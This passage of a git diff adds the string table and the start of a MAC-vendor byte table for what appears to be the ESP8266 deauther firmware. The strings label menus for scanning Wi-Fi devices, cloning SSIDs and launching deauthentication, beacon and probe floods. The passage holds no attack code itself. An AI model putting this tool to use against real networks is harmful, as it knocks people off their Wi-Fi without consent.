MESSAGES +const char D_ERROR_NOT_ENABLED[] PROGMEM = "ERROR: Display not enabled"; +const char D_MSG_DISPLAY_OFF[] PROGMEM = "Turned display off"; +const char D_MSG_DISPLAY_ON[] PROGMEM = "Turned display on"; + +// LOADING SCREEN +const char DSP_SCAN_FOR[] PROGMEM = "Scan for"; +const char DSP_APS[] PROGMEM = "APs"; +const char DSP_STS[] PROGMEM = "STs"; +const char DSP_PKTS[] PROGMEM = "Pkts"; +const char DSP_S[] PROGMEM = "/s"; +const char DSP_SCAN_DONE[] PROGMEM = "Done"; + +// ALL MENUS +const char D_BACK[] PROGMEM = "[BACK]"; +const char D_REMOVE_ALL[] PROGMEM = "REMOVE ALL"; +const char D_SELECT[] PROGMEM = "SELECT"; +const char D_DESELECT[] PROGMEM = "DESELECT"; +const char D_REMOVE[] PROGMEM = "REMOVE"; +const char D_SELECT_ALL[] PROGMEM = "SELECT ALL"; +const char D_DESELECT_ALL[] PROGMEM = "DESELECT ALL"; +const char D_CLONE[] PROGMEM = "CLONE SSID"; +const char D_LED[] PROGMEM = "LED"; + +// BUTTON TEST +const char D_UP[] PROGMEM = "UP:"; +const char D_DOWN[] PROGMEM = "DOWN:"; +const char D_LEFT[] PROGMEM = "LEFT:"; +const char D_RIGHT[] PROGMEM = "RIGHT:"; +const char D_B[] PROGMEM = "A:"; +const char D_A[] PROGMEM = "B:"; + +// MAIN MENU +const char D_SCAN[] PROGMEM = "SCAN"; +const char D_SHOW[] PROGMEM = "SELECT"; +const char D_ATTACK[] PROGMEM = "ATTACK"; +const char D_PACKET_MONITOR[] PROGMEM = "PACKET MONITOR"; +const char D_CLOCK[] PROGMEM = "CLOCK"; + +// SCAN MENU +const char D_SCAN_APST[] PROGMEM = "SCAN AP + ST"; +const char D_SCAN_AP[] PROGMEM = "SCAN APs"; +const char D_SCAN_ST[] PROGMEM = "SCAN Stations"; + +// SHOW MENU +const char D_ACCESSPOINTS[] PROGMEM = "APs "; +const char D_STATIONS[] PROGMEM = "Stations "; +const char D_NAMES[] PROGMEM = "Names "; +const char D_SSIDS[] PROGMEM = "SSIDs "; + +// SSID LIST MENU +const char D_CLONE_APS[] PROGMEM = "CLONE APs"; +const char D_RANDOM_MODE[] PROGMEM = "RANDOM MODE"; + +// ATTACK MENU +const char D_DEAUTH[] PROGMEM = "DEAUTH"; +const char D_BEACON[] PROGMEM = "BEACON"; +const char D_PROBE[] PROGMEM = "PROBE"; +const char D_START_ATTACK[] PROGMEM = "START"; +const char D_STOP_ATTACK[] PROGMEM = "STOP"; + +// SUB MENUS +const char D_ENCRYPTION[] PROGMEM = "Encryption:"; +const char D_RSSI[] PROGMEM = "RSSI:"; +const char D_CHANNEL[] PROGMEM = "Channel:"; +const char D_CH[] PROGMEM = "Ch"; +const char D_VENDOR[] PROGMEM = "Vendor:"; +const char D_AP[] PROGMEM = "AP:"; +const char D_PKTS[] PROGMEM = "pkts"; +const char D_SEEN[] PROGMEM = "Seen:"; + +// ===== STATIONS ===== // +const char ST_CLEARED_LIST[] PROGMEM = "Cleared station list"; +const char ST_REMOVED_STATION[] PROGMEM = "Removed station "; +const char ST_LIST_EMPTY[] PROGMEM = "Station list is empty :("; +const char ST_HEADER[] PROGMEM = "[===== Stations =====]"; +const char ST_NO_DEVICES_SELECTED[] PROGMEM = "No devices selected"; +const char ST_TABLE_HEADER[] PROGMEM = "ID MAC Ch Name Vendor Pkts AP Last Seen Selected"; +const char ST_TABLE_DIVIDER[] PROGMEM = "=============================================================================================================="; +const char ST_SMALLER_ONESEC[] PROGMEM = "<1sec"; +const char ST_SMALLER_ONEMIN[] PROGMEM = "<1min"; +const char ST_BIGER_ONEHOUR[] PROGMEM = ">1h"; +const char ST_SELECTED_STATION[] PROGMEM = "Selected station "; +const char ST_DESELECTED_STATION[] PROGMEM = "Deselected station "; +const char ST_ERROR_ID[] PROGMEM = "ERROR: No station found with ID "; +const char ST_SELECTED_ALL[] PROGMEM = "Selected all stations"; +const char ST_DESELECTED_ALL[] PROGMEM = "Deselected all stations"; + +// ===== SETTINGS ===== // +const char S_SETTINGS[] PROGMEM = "settings"; +const char S_BEACONCHANNEL[] PROGMEM = "beaconchannel"; +const char S_FORCEPACKETS[] PROGMEM = "forcepackets"; +const char S_AUTOSAVE[] PROGMEM = "autosave"; +const char S_LANG[] PROGMEM = "lang"; +const char S_SERIALINTERFACE[] PROGMEM = "serial"; +const char S_DISPLAYINTERFACE[] PROGMEM = "display"; +const char S_WEBINTERFACE[] PROGMEM = "web/interface"; +const char S_AUTOSAVETIME[] PROGMEM = "autosavetime"; +const char S_DEAUTHSPERTARGET[] PROGMEM = "deauthspertarget"; +const char S_CHTIME[] PROGMEM = "chtime"; +const char S_DEAUTHREASON[] PROGMEM = "deauthReason"; +const char S_MACST[] PROGMEM = "macSt"; +const char S_MACAP[] PROGMEM = "macAP"; +const char S_RANDOMTX[] PROGMEM = "randomTX"; +const char S_ATTACKTIMEOUT[] PROGMEM = "attacktimeout"; +const char S_LEDENABLED[] PROGMEM = "led/Enabled"; +const char S_PROBESPERSSID[] PROGMEM = "probesPerSSID"; +const char S_BEACONINTERVAL[] PROGMEM = "beaconInterval"; +const char S_VERSION[] PROGMEM = "version"; +const char S_CHANNEL[] PROGMEM = "channel"; +const char S_CAPTIVEPORTAL[] PROGMEM = "captivePortal"; +const char S_HIDDEN[] PROGMEM = "hidden"; +const char S_PASSWORD[] PROGMEM = "password"; +const char S_SSID[] PROGMEM = "ssid"; +const char S_MAC[] PROGMEM = "mac"; +const char S_MIN_DEAUTHS[] PROGMEM = "minDeauths"; +const char S_DISPLAY_TIMEOUT[] PROGMEM = "displayTimeout"; +const char S_SERIAL_ECHO[] PROGMEM = "serialEcho"; +const char S_WEB_SPIFFS[] PROGMEM = "webSpiffs"; + +const char S_SETTINGS_LOADED[] PROGMEM = "Settings loaded from "; +const char S_SETTINGS_RESETED[] PROGMEM = "Settings reseted"; +const char S_SETTINGS_SAVED[] PROGMEM = "Settings saved in "; +const char S_SETTINGS_HEADER[] PROGMEM = "[========== Settings ==========]"; +const char S_ERROR_VERSION[] PROGMEM = "Sorry, you can't change the version number"; +const char S_ERROR_NOT_FOUND[] PROGMEM = "ERROR: No setting found for "; +const char S_CHANGED_SETTING[] PROGMEM = "Changed setting "; +const char S_CHANNEL_CHANGE[] PROGMEM = "Switched to Channel "; +const char S_CHANNEL_ERROR[] PROGMEM = "ERROR: Channel must be between 1 and 14"; +const char S_ERROR_SSID_LEN[] PROGMEM = "ERROR: SSID must be between 1 and 32 characters"; +const char S_ERROR_PASSWORD_LEN[] PROGMEM = "ERROR: Password must be between 8 and 32 characters"; +const char S_RANDOM[] PROGMEM = "random"; + +// ===== ACCESS POINTS ===== // +const char AP_HEADER[] PROGMEM = "[===== Access Points =====]"; +const char AP_LIST_EMPTY[] PROGMEM = "AP list is empty :("; +const char AP_NO_AP_SELECTED[] PROGMEM = "No APs selected"; +const char AP_TABLE_HEADER[] PROGMEM = "ID SSID Name Ch RSSI Enc. Mac Vendor Selected"; +const char AP_TABLE_DIVIDER[] PROGMEM = "====================================================================================================="; +const char AP_HIDDEN[] PROGMEM = "*HIDDEN*"; +const char AP_WEP[] PROGMEM = "WEP"; +const char AP_WPA[] PROGMEM = "WPA"; +const char AP_WPA2[] PROGMEM = "WPA2"; +const char AP_AUTO[] PROGMEM = "WPA*"; +const char AP_SELECTED[] PROGMEM = "Selected access point "; +const char AP_DESELECTED[] PROGMEM = "Deselected access point "; +const char AP_REMOVED[] PROGMEM = "Removed access point "; +const char AP_SELECTED_ALL[] PROGMEM = "Selected all APs"; +const char AP_DESELECTED_ALL[] PROGMEM = "Deselected all APs"; +const char AP_REMOVED_ALL[] PROGMEM = "Removed all APs"; +const char AP_NO_AP_ERROR[] PROGMEM = "ERROR: No AP found with ID "; + +// ===== ATTACKS ===== // +const char A_START[] PROGMEM = "Start attacking"; +const char A_NO_MODE_ERROR[] PROGMEM = "WARNING: No valid attack mode set"; +const char A_STOP[] PROGMEM = "Stopped attacking"; +const char A_TIMEOUT[] PROGMEM = "Timeout - "; +const char A_STATUS[] PROGMEM = "[Pkt/s] All: %+4u | Deauths: %+3u/%-3u | Beacons: %+3u/%-3u | Probes: %+3u/%-3u\r\n"; +const char A_ENABLED_OUTPUT[] PROGMEM = "Enabled attack output"; +const char A_DISABLED_OUTPUT[] PROGMEM = "Disabled attack output"; + +// ===== LED ===== // +const char L_ENABLED[] PROGMEM = "Enabled LED updates"; +const char L_DISABLED[] PROGMEM = "Disabled LED updates"; +const char L_OUTPUT[] PROGMEM = "LED = (%u,%u,%u)"; +const char L_NOT_CONFIGURED[] PROGMEM = "ERROR: No LED is configured in A_config.h!"; + +// ===== NAMES ===== // +const char N_SAVED[] PROGMEM = "Device names saved in "; +const char N_LOADED[] PROGMEM = "Device names loaded from "; +const char N_REMOVED_ALL[] PROGMEM = "Removed all saved device names"; +const char N_HEADER[] PROGMEM = "[===== Saved Devices =====]"; +const char N_TABLE_HEADER[] PROGMEM = "ID MAC Vendor Name AP-BSSID Ch Selected"; +const char N_TABLE_DIVIDER[] PROGMEM = "============================================================================"; +const char N_ERROR_LIST_EMPTY[] PROGMEM = "Device name list is empty :("; +const char N_ERROR_NO_SELECTED[] PROGMEM = "No devices selected"; +const char N_ERROR_LIST_FULL[] PROGMEM = "ERROR: Name list is full!"; +const char N_ADDED[] PROGMEM = "Added to device name list "; +const char N_REPLACED[] PROGMEM = "Replaced device name list "; +const char N_REMOVED[] PROGMEM = "Removed from the device name list "; +const char N_CHANGED_NAME[] PROGMEM = "Changed device name"; +const char N_CHANGED_MAC[] PROGMEM = "Changed device mac"; +const char N_CHANGED_BSSID[] PROGMEM = "Changed device AP-BSSID"; +const char N_CHANGED_CH[] PROGMEM = "Changed device channel"; +const char N_SELECTED[] PROGMEM = "Selected device "; +const char N_ERROR_NOT_FOUND[] PROGMEM = "No device found with name "; +const char N_DESELECTED[] PROGMEM = "Deselected device "; +const char N_SELECTED_ALL[] PROGMEM = "Selected all device names"; +const char N_DESELECTED_ALL[] PROGMEM = "Deselected all device names"; + +// ===== SSIDs ===== // +const char SS_LOADED[] PROGMEM = "SSIDs loaded from "; +const char SS_CLEARED[] PROGMEM = "Cleared SSID list"; +const char SS_SAVED[] PROGMEM = "SSIDs saved"; +const char SS_SAVED_IN[] PROGMEM = "SSIDs saved in "; +const char SS_REMOVED[] PROGMEM = "Removed SSID "; +const char SS_ERROR_FULL[] PROGMEM = + "ERROR: SSID list is full! Remove some SSIDs first or run command with -f (force) parameter."; +const char SS_ADDED[] PROGMEM = "Added SSID "; +const char SS_REPLACED[] PROGMEM = "Replaced SSID "; +const char SS_TABLE_HEADER[] PROGMEM = "ID Enc. SSID"; +const char SS_TABLE_DIVIDER[] PROGMEM = "========================================="; +const char SS_HEADER[] PROGMEM = "[===== SSIDs =====]"; +const char SS_ERROR_EMPTY[] PROGMEM = "SSID list is empty :("; +const char SS_RANDOM_ENABLED[] PROGMEM = "SSID random mode enabled"; +const char SS_RANDOM_DISABLED[] PROGMEM = "SSID random mode deactivated"; +const char SS_JSON_SSIDS[] PROGMEM = "ssids"; +const char SS_JSON_RANDOM[] PROGMEM = "random"; +const char SS_JSON_DEFAULT[] PROGMEM = "{\"random\":false,\"ssids\":[[\"Never gonna give you up\",false,23],[\"Never gonna let you down\",false,24],[\"Never gonna run around\",false,22],[\"Never gonna make you cry\",false,24],[\"Never gonna say goodbye\",false,23],[\"Never gonna tell a lie\",false,22],[\"Never gonna hurt you\",false,20],[\"Never gonna desert you\",false,22]]}"; +const char SS_RANDOM_INFO[] PROGMEM = "Generating new SSIDs... Type \"disable random\" to stop the random mode"; + +// ===== SCAN ==== // +const char SC_START_CLIENT[] PROGMEM = "Starting Scan for stations (client devices) - "; +const char SS_START_SNIFFER[] PROGMEM = "Starting packet sniffer - "; +const char SC_ERROR_NO_AP[] PROGMEM = + "ERROR: AP-list empty! Can't scan for clients, please Scan for Accesspoints first."; +const char SC_INFINITELY[] PROGMEM = " infinitely"; +const char SC_ON_CHANNEL[] PROGMEM = " on channel "; +const char SC_START_AP[] PROGMEM = "Starting scan for access points (Wi-Fi networks)..."; +const char SC_ONE_TO[] PROGMEM = "1 - "; +const char SC_STOPPED[] PROGMEM = "Stopped scan"; +const char SC_RESTRAT[] PROGMEM = "Scan will restart in "; +const char SC_CONTINUE[] PROGMEM = "s - type stop to disable the continuous mode"; +const char SC_RESTART[] PROGMEM = "restarting in "; +const char SC_ERROR_MODE[] PROGMEM = "ERROR: Invalid scan mode "; +const char SC_OUTPUT_A[] PROGMEM = "Scanning WiFi [%+2u%%]: %+3u packets/s | %+2u devices | %+2u deauths\r\n"; +const char SC_OUTPUT_B[] PROGMEM = "Scanning WiFi: %+3u packets/s | %+2u devices | %+2u deauths\r\n"; +const char SC_JSON_APS[] PROGMEM = "aps"; +const char SC_JSON_STATIONS[] PROGMEM = "stations"; +const char SC_JSON_NAMES[] PROGMEM = "names"; +const char SC_SAVED[] PROGMEM = "Saved scan results"; +const char SC_SAVED_IN[] PROGMEM = "Scan results saved in "; +const char SC_MODE_OFF[] PROGMEM = "-"; +const char SC_MODE_AP[] PROGMEM = "APs"; +const char SC_MODE_ST[] PROGMEM = "STs"; +const char SC_MODE_ALL[] PROGMEM = "AP+ST"; +const char SC_MODE_SNIFFER[] PROGMEM = "Sniffer"; + +// ===== FUNCTIONS ===== // +const char F_ERROR_MAC[] PROGMEM = "ERROR: MAC address invalid"; +const char F_COLOR_INVALID[] PROGMEM = "ERROR: Color code invalid"; +const char F_ERROR_READING_FILE[] PROGMEM = "ERROR: reading file "; +const char F_LINE[] PROGMEM = "[%d] "; +const char F_ERROR_FILE[] PROGMEM = "ERROR: File doesn't exist "; +const char F_ERROR_OPEN[] PROGMEM = "ERROR couldn't open "; +const char F_ERROR_PARSING_JSON[] PROGMEM = "ERROR parsing JSON "; +const char F_ERROR_TO_BIG[] PROGMEM = "ERROR file too big "; +const char F_TMP[] PROGMEM = "/tmp"; +const char F_COPY[] PROGMEM = "_copy"; +const char F_ERROR_SAVING[] PROGMEM = "ERROR: saving file. Try 'format' and restart - "; + +// ===== WIFI ===== // +const char W_STOPPED_AP[] PROGMEM = "Stopped Access Point"; +const char W_AP_REQUEST[] PROGMEM = "[AP] request: "; +const char W_AP[] PROGMEM = "AP"; +const char W_STATION[] PROGMEM = "Station"; +const char W_MODE_OFF[] PROGMEM = "OFF"; +const char W_MODE_AP[] PROGMEM = "AP"; +const char W_MODE_ST[] PROGMEM = "STATION"; +const char W_OK[] PROGMEM = " OK"; +const char W_NOT_FOUND[] PROGMEM = " NOT FOUND"; +const char W_BAD_ARGS[] PROGMEM = "BAD ARGS"; +const char W_BAD_PATH[] PROGMEM = "BAD PATH"; +const char W_FILE_NOT_FOUND[] PROGMEM = "ERROR 404 File Not Found"; +const char W_STARTED_AP[] PROGMEM = "Started AP"; + +#endif // ifndef language_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/oui.h b/enp8266/esp8266_deauther-master/esp8266_deauther/oui.h new file mode 100755 index 0000000..29391d5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/oui.h @@ -0,0 +1,39802 @@ +#ifndef oui_h +#define oui_h +/* + Based on Wireshark manufacturer database + source: https://www.wireshark.org/tools/oui-lookup.html + Wireshark is released under the GNU General Public License version 2 +*/ + +#define ENABLE_MAC_LIST // comment out if you want to save memory + +const static uint8_t data_vendors[] PROGMEM = { +#ifdef ENABLE_MAC_LIST +0x30, 0x30, 0x3a, 0x30, 0x30, 0x3a, 0x30, 0x30, +0x58, 0x65, 0x72, 0x6f, 0x78, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x70, 0x69, 0x70, +0x4f, 0x6d, 0x72, 0x6f, 0x6e, 0x54, 0x61, 0x74, +0x4d, 0x61, 0x74, 0x72, 0x69, 0x78, 0x00, 0x00, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x46, 0x69, 0x62, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x4e, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x65, 0x6c, +0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, +0x43, 0x61, 0x6d, 0x65, 0x78, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78, +0x44, 0x61, 0x74, 0x61, 0x70, 0x6f, 0x69, 0x6e, +0x44, 0x75, 0x50, 0x6f, 0x6e, 0x74, 0x50, 0x69, +0x4f, 0x72, 0x61, 0x63, 0x6c, 0x65, 0x00, 0x00, +0x57, 0x65, 0x62, 0x73, 0x74, 0x65, 0x72, 0x43, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x44, +0x41, 0x4d, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x6f, 0x76, 0x65, 0x6c, 0x6c, 0x4e, 0x6f, +0x42, 0x65, 0x6c, 0x6c, 0x54, 0x65, 0x63, 0x68, +0x43, 0x61, 0x62, 0x6c, 0x65, 0x74, 0x72, 0x6f, +0x54, 0x65, 0x6c, 0x73, 0x69, 0x73, 0x74, 0x49, +0x54, 0x65, 0x6c, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x44, 0x49, 0x41, 0x42, 0x00, 0x00, 0x00, 0x00, +0x53, 0x43, 0x26, 0x43, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x73, 0x75, 0x61, 0x6c, 0x54, 0x65, +0x41, 0x62, 0x62, 0x41, 0x75, 0x74, 0x6f, 0x6d, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x41, +0x52, 0x61, 0x6d, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x53, 0x68, 0x61, 0x2d, 0x4b, 0x65, 0x6e, 0x00, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x52, 0x61, 0x64, +0x50, 0x72, 0x6f, 0x64, 0x69, 0x67, 0x79, 0x00, +0x49, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x72, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x72, 0x69, 0x73, 0x70, 0x41, 0x75, 0x74, +0x41, 0x75, 0x74, 0x6f, 0x74, 0x6f, 0x74, 0x65, +0x43, 0x68, 0x72, 0x6f, 0x6d, 0x61, 0x74, 0x69, +0x53, 0x6f, 0x63, 0x69, 0x65, 0x74, 0x65, 0x45, +0x54, 0x69, 0x6d, 0x65, 0x70, 0x6c, 0x65, 0x78, +0x56, 0x67, 0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61, +0x51, 0x70, 0x73, 0x78, 0x43, 0x6f, 0x6d, 0x6d, +0x4d, 0x61, 0x72, 0x63, 0x6f, 0x6e, 0x69, 0x00, +0x45, 0x67, 0x61, 0x6e, 0x4d, 0x61, 0x63, 0x68, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x52, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x67, +0x41, 0x74, 0x61, 0x72, 0x69, 0x00, 0x00, 0x00, +0x4f, 0x78, 0x66, 0x6f, 0x72, 0x64, 0x4d, 0x65, +0x43, 0x73, 0x73, 0x4c, 0x61, 0x62, 0x73, 0x00, +0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x00, +0x43, 0x68, 0x79, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x49, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, +0x41, 0x75, 0x73, 0x70, 0x65, 0x78, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x73, 0x79, 0x73, 0x00, 0x00, +0x53, 0x69, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x00, +0x53, 0x79, 0x6e, 0x74, 0x72, 0x65, 0x78, 0x00, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x6f, 0x6e, +0x49, 0x63, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x74, 0x69, 0x65, 0x72, 0x4d, 0x61, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x54, 0x65, 0x63, +0x43, 0x61, 0x73, 0x74, 0x65, 0x6c, 0x6c, 0x65, +0x46, 0x6f, 0x72, 0x64, 0x41, 0x65, 0x72, 0x6f, +0x4f, 0x6c, 0x69, 0x76, 0x65, 0x74, 0x74, 0x69, +0x4e, 0x69, 0x63, 0x6f, 0x6c, 0x65, 0x74, 0x49, +0x53, 0x65, 0x69, 0x6b, 0x6f, 0x45, 0x70, 0x73, +0x41, 0x70, 0x72, 0x69, 0x63, 0x6f, 0x74, 0x00, +0x41, 0x64, 0x63, 0x43, 0x6f, 0x64, 0x65, 0x6e, +0x49, 0x63, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x4f, +0x4e, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6d, 0x70, 0x65, 0x78, 0x00, 0x00, 0x00, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x72, 0x61, 0x66, +0x52, 0x61, 0x64, 0x69, 0x73, 0x79, 0x73, 0x00, +0x48, 0x6f, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x49, 0x6e, 0x74, 0x72, 0x75, 0x73, 0x69, 0x6f, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x63, 0x6f, 0x72, +0x53, 0x63, 0x68, 0x6e, 0x65, 0x69, 0x64, 0x65, +0x41, 0x54, 0x26, 0x54, 0x00, 0x00, 0x00, 0x00, +0x44, 0x72, 0x42, 0x53, 0x74, 0x72, 0x75, 0x63, +0x53, 0x63, 0x69, 0x74, 0x65, 0x78, 0x00, 0x00, +0x52, 0x61, 0x63, 0x6f, 0x72, 0x65, 0x43, 0x6f, +0x48, 0x65, 0x6c, 0x6c, 0x69, 0x67, 0x65, 0x00, +0x53, 0x6b, 0x53, 0x63, 0x68, 0x6e, 0x65, 0x69, +0x45, 0x6c, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x61, 0x74, 0x69, +0x43, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, +0x49, 0x63, 0x61, 0x6e, 0x6e, 0x49, 0x61, 0x6e, +0x53, 0x75, 0x6d, 0x69, 0x74, 0x6f, 0x6d, 0x6f, +0x4b, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x45, +0x47, 0x61, 0x74, 0x65, 0x77, 0x61, 0x79, 0x43, +0x42, 0x75, 0x6c, 0x6c, 0x48, 0x6e, 0x49, 0x6e, +0x42, 0x61, 0x72, 0x63, 0x6f, 0x43, 0x6f, 0x6e, +0x59, 0x6f, 0x6b, 0x6f, 0x67, 0x61, 0x77, 0x61, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x47, +0x54, 0x61, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x00, +0x53, 0x6f, 0x66, 0x74, 0x2a, 0x52, 0x69, 0x74, +0x52, 0x6f, 0x73, 0x65, 0x6d, 0x6f, 0x75, 0x6e, +0x43, 0x6f, 0x6e, 0x63, 0x6f, 0x72, 0x64, 0x43, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x65, 0x72, +0x4d, 0x49, 0x50, 0x53, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x00, +0x43, 0x61, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, +0x41, 0x72, 0x74, 0x69, 0x73, 0x6f, 0x66, 0x74, +0x4d, 0x61, 0x64, 0x67, 0x65, 0x4e, 0x65, 0x74, +0x48, 0x63, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x64, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x6e, 0x69, 0x77, 0x61, 0x72, 0x65, +0x53, 0x69, 0x65, 0x63, 0x6f, 0x72, 0x00, 0x00, +0x52, 0x69, 0x63, 0x6f, 0x68, 0x00, 0x00, 0x00, +0x42, 0x65, 0x6c, 0x6c, 0x4e, 0x6f, 0x72, 0x74, +0x41, 0x62, 0x65, 0x6b, 0x61, 0x73, 0x56, 0x69, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x70, 0x68, 0x61, +0x4c, 0x61, 0x62, 0x74, 0x61, 0x6d, 0x41, 0x75, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x74, 0x68, +0x44, 0x61, 0x6e, 0x61, 0x43, 0x6f, 0x6d, 0x70, +0x52, 0x65, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, +0x41, 0x6d, 0x70, 0x65, 0x72, 0x65, 0x00, 0x00, +0x43, 0x6c, 0x75, 0x73, 0x74, 0x72, 0x69, 0x78, +0x4c, 0x69, 0x6e, 0x6f, 0x74, 0x79, 0x70, 0x65, +0x43, 0x72, 0x61, 0x79, 0x43, 0x6f, 0x6d, 0x6d, +0x42, 0x61, 0x79, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x4c, 0x65, 0x63, 0x74, 0x72, 0x61, 0x53, 0x79, +0x54, 0x61, 0x64, 0x70, 0x6f, 0x6c, 0x65, 0x54, +0x53, 0x75, 0x70, 0x65, 0x72, 0x6e, 0x65, 0x74, +0x43, 0x61, 0x6e, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x67, 0x61, 0x68, 0x65, 0x72, 0x74, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x00, +0x42, 0x72, 0x6f, 0x63, 0x61, 0x64, 0x65, 0x43, +0x43, 0x61, 0x79, 0x6d, 0x61, 0x6e, 0x53, 0x79, +0x44, 0x61, 0x74, 0x61, 0x68, 0x6f, 0x75, 0x73, +0x49, 0x6e, 0x66, 0x6f, 0x74, 0x72, 0x6f, 0x6e, +0x41, 0x6c, 0x6c, 0x6f, 0x79, 0x43, 0x6f, 0x6d, +0x43, 0x72, 0x79, 0x70, 0x74, 0x65, 0x6b, 0x00, +0x53, 0x6f, 0x6c, 0x62, 0x6f, 0x75, 0x72, 0x6e, +0x52, 0x61, 0x79, 0x74, 0x68, 0x65, 0x6f, 0x6e, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x63, 0x6f, 0x6d, +0x41, 0x6e, 0x72, 0x69, 0x74, 0x73, 0x75, 0x00, +0x43, 0x6f, 0x67, 0x65, 0x6e, 0x74, 0x44, 0x61, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x6f, 0x6e, 0x00, +0x41, 0x73, 0x61, 0x6e, 0x74, 0x65, 0x4d, 0x61, +0x53, 0x6f, 0x6e, 0x79, 0x2f, 0x54, 0x65, 0x6b, +0x4d, 0x61, 0x72, 0x63, 0x6f, 0x6e, 0x69, 0x45, +0x44, 0x65, 0x6c, 0x6c, 0x45, 0x6d, 0x63, 0x00, +0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, +0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x65, 0x78, 0x54, +0x52, 0x63, 0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, +0x52, 0x6f, 0x6c, 0x6d, 0x4d, 0x69, 0x6c, 0x2d, +0x4c, 0x6f, 0x63, 0x75, 0x73, 0x43, 0x6f, 0x6d, +0x4d, 0x61, 0x72, 0x6c, 0x69, 0x53, 0x41, 0x00, +0x41, 0x6d, 0x65, 0x72, 0x69, 0x73, 0x74, 0x61, +0x53, 0x61, 0x6e, 0x79, 0x6f, 0x45, 0x6c, 0x65, +0x4d, 0x61, 0x72, 0x71, 0x75, 0x65, 0x74, 0x74, +0x4e, 0x41, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x6f, 0x72, 0x6e, 0x00, 0x00, 0x00, +0x54, 0x61, 0x74, 0x74, 0x69, 0x6c, 0x65, 0x53, +0x4e, 0x43, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x72, 0x61, 0x74, 0x75, 0x73, 0x43, +0x4e, 0x65, 0x74, 0x53, 0x79, 0x73, 0x00, 0x00, +0x58, 0x65, 0x72, 0x6f, 0x78, 0x58, 0x65, 0x72, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x4d, 0x6f, 0x64, +0x43, 0x6f, 0x6e, 0x77, 0x61, 0x72, 0x65, 0x4e, +0x42, 0x72, 0x75, 0x6b, 0x65, 0x72, 0x49, 0x6e, +0x44, 0x61, 0x73, 0x73, 0x61, 0x75, 0x6c, 0x74, +0x43, 0x61, 0x6e, 0x62, 0x65, 0x72, 0x72, 0x61, +0x52, 0x6e, 0x64, 0x52, 0x61, 0x64, 0x4e, 0x65, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x4d, 0x69, 0x63, +0x54, 0x65, 0x6c, 0x65, 0x76, 0x69, 0x64, 0x65, +0x43, 0x69, 0x6d, 0x6c, 0x69, 0x6e, 0x63, 0x00, +0x45, 0x64, 0x69, 0x6d, 0x61, 0x78, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x62, 0x69, 0x6c, 